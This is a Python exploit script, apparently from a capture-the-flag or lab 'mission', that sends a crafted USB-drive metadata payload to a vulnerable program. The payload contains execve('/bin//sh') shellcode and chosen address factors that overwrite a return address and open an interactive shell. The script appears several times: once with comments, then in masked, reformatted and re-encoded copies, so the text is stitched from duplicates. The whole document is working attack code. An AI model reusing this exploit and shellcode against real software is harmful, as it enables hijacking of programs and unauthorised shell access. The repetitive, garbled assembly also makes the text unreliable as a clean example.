# Mission 2 - Laptop

import interact
import struct

# Pack integer 'n' into a 4-Byte representation
def p32(n):
    return struct.pack('I', n)

p = interact.Process()

pData_addr = 0x603090
ret_addr = 0x7fffffffed78 # Must be divisible by 4

shellcode_index = 100
shellcode_addr = 0x6031a0
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

factor1 = 45697 #(ret_addr - pData_addr)/(2*4*23*757*22111)
factor2 = (2*23*757*22111) #(ret_addr - pData_addr)/(factor1 * 4)

def createDrive(driveId, numPartitions, sectorByteSize, numSectors):
    metadata = [driveId, numPartitions, sectorByteSize, numSectors] + ([0] * ((numPartitions+1) * sectorByteSize // 4))
    
    for i in range(1, numPartitions+1):
        offset = (i * sectorByteSize) // 4
        metadata[3+i] = i
        metadata[offset] = i
        metadata[offset+1] = shellcode_addr # endMarker
        metadata[offset+2] = factor1 # sectorSize
        metadata[offset+3] = factor2 # numSectors
        metadata[offset+4] = offset # sectorOffset
    
    payload = ""
    for i in metadata:
        payload += p32(i)
    
    # Insert shellcode into payload
    rindex = shellcode_index * 4
    repl = len(shellcode)
    payload = payload[0:rindex] + shellcode + payload[rindex+repl:]
    
    return payload
    

# Drive metadata
data = p.readuntil('Insert USB Drive:')
p.sendline(createDrive(4, 4, 128, 4))

p.interactive()
73f0a56fb3b9ebe475f7294a8372b6749ca4bee7
<mask token>


def p32(n):
    return struct.pack('I', n)


<mask token>


def createDrive(driveId, numPartitions, sectorByteSize, numSectors):
    metadata = [driveId, numPartitions, sectorByteSize, numSectors] + [0] * (
        (numPartitions + 1) * sectorByteSize // 4)
    for i in range(1, numPartitions + 1):
        offset = i * sectorByteSize // 4
        metadata[3 + i] = i
        metadata[offset] = i
        metadata[offset + 1] = shellcode_addr
        metadata[offset + 2] = factor1
        metadata[offset + 3] = factor2
        metadata[offset + 4] = offset
    payload = ''
    for i in metadata:
        payload += p32(i)
    rindex = shellcode_index * 4
    repl = len(shellcode)
    payload = payload[0:rindex] + shellcode + payload[rindex + repl:]
    return payload


<mask token>

<mask token>


def p32(n):
    return struct.pack('I', n)


<mask token>


def createDrive(driveId, numPartitions, sectorByteSize, numSectors):
    metadata = [driveId, numPartitions, sectorByteSize, numSectors] + [0] * (
        (numPartitions + 1) * sectorByteSize // 4)
    for i in range(1, numPartitions + 1):
        offset = i * sectorByteSize // 4
        metadata[3 + i] = i
        metadata[offset] = i
        metadata[offset + 1] = shellcode_addr
        metadata[offset + 2] = factor1
        metadata[offset + 3] = factor2
        metadata[offset + 4] = offset
    payload = ''
    for i in metadata:
        payload += p32(i)
    rindex = shellcode_index * 4
    repl = len(shellcode)
    payload = payload[0:rindex] + shellcode + payload[rindex + repl:]
    return payload


<mask token>
p.sendline(createDrive(4, 4, 128, 4))
p.interactive()

<mask token>


def p32(n):
    return struct.pack('I', n)


p = interact.Process()
pData_addr = 6303888
ret_addr = 140737488350584
shellcode_index = 100
shellcode_addr = 6304160
shellcode = 'PH1ÒH1öH»/bin//shST_°;\x0f\x05'
factor1 = 45697
factor2 = 2 * 23 * 757 * 22111


def createDrive(driveId, numPartitions, sectorByteSize, numSectors):
    metadata = [driveId, numPartitions, sectorByteSize, numSectors] + [0] * (
        (numPartitions + 1) * sectorByteSize // 4)
    for i in range(1, numPartitions + 1):
        offset = i * sectorByteSize // 4
        metadata[3 + i] = i
        metadata[offset] = i
        metadata[offset + 1] = shellcode_addr
        metadata[offset + 2] = factor1
        metadata[offset + 3] = factor2
        metadata[offset + 4] = offset
    payload = ''
    for i in metadata:
        payload += p32(i)
    rindex = shellcode_index * 4
    repl = len(shellcode)
    payload = payload[0:rindex] + shellcode + payload[rindex + repl:]
    return payload


data = p.readuntil('Insert USB Drive:')
p.sendline(createDrive(4, 4, 128, 4))
p.interactive()

import interact
import struct


def p32(n):
    return struct.pack('I', n)


p = interact.Process()
pData_addr = 6303888
ret_addr = 140737488350584
shellcode_index = 100
shellcode_addr = 6304160
shellcode = 'PH1ÒH1öH»/bin//shST_°;\x0f\x05'
factor1 = 45697
factor2 = 2 * 23 * 757 * 22111


def createDrive(driveId, numPartitions, sectorByteSize, numSectors):
    metadata = [driveId, numPartitions, sectorByteSize, numSectors] + [0] * (
        (numPartitions + 1) * sectorByteSize // 4)
    for i in range(1, numPartitions + 1):
        offset = i * sectorByteSize // 4
        metadata[3 + i] = i
        metadata[offset] = i
        metadata[offset + 1] = shellcode_addr
        metadata[offset + 2] = factor1
        metadata[offset + 3] = factor2
        metadata[offset + 4] = offset
    payload = ''
    for i in metadata:
        payload += p32(i)
    rindex = shellcode_index * 4
    repl = len(shellcode)
    payload = payload[0:rindex] + shellcode + payload[rindex + repl:]
    return payload


data = p.readuntil('Insert USB Drive:')
p.sendline(createDrive(4, 4, 128, 4))
p.interactive()

# Mission 2 - Laptop

import interact
import struct

# Pack integer 'n' into a 4-Byte representation
def p32(n):
    return struct.pack('I', n)

p = interact.Process()

pData_addr = 0x603090
ret_addr = 0x7fffffffed78 # Must be divisible by 4

shellcode_index = 100
shellcode_addr = 0x6031a0
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

factor1 = 45697 #(ret_addr - pData_addr)/(2*4*23*757*22111)
factor2 = (2*23*757*22111) #(ret_addr - pData_addr)/(factor1 * 4)

def createDrive(driveId, numPartitions, sectorByteSize, numSectors):
    metadata = [driveId, numPartitions, sectorByteSize, numSectors] + ([0] * ((numPartitions+1) * sectorByteSize // 4))
    
    for i in range(1, numPartitions+1):
        offset = (i * sectorByteSize) // 4
        metadata[3+i] = i
        metadata[offset] = i
        metadata[offset+1] = shellcode_addr # endMarker
        metadata[offset+2] = factor1 # sectorSize
        metadata[offset+3] = factor2 # numSectors
        metadata[offset+4] = offset # sectorOffset
    
    payload = ""
    for i in metadata:
        payload += p32(i)
    
    # Insert shellcode into payload
    rindex = shellcode_index * 4
    repl = len(shellcode)
    payload = payload[0:rindex] + shellcode + payload[rindex+repl:]
    
    return payload
    

# Drive metadata
data = p.readuntil('Insert USB Drive:')
p.sendline(createDrive(4, 4, 128, 4))

p.interactive()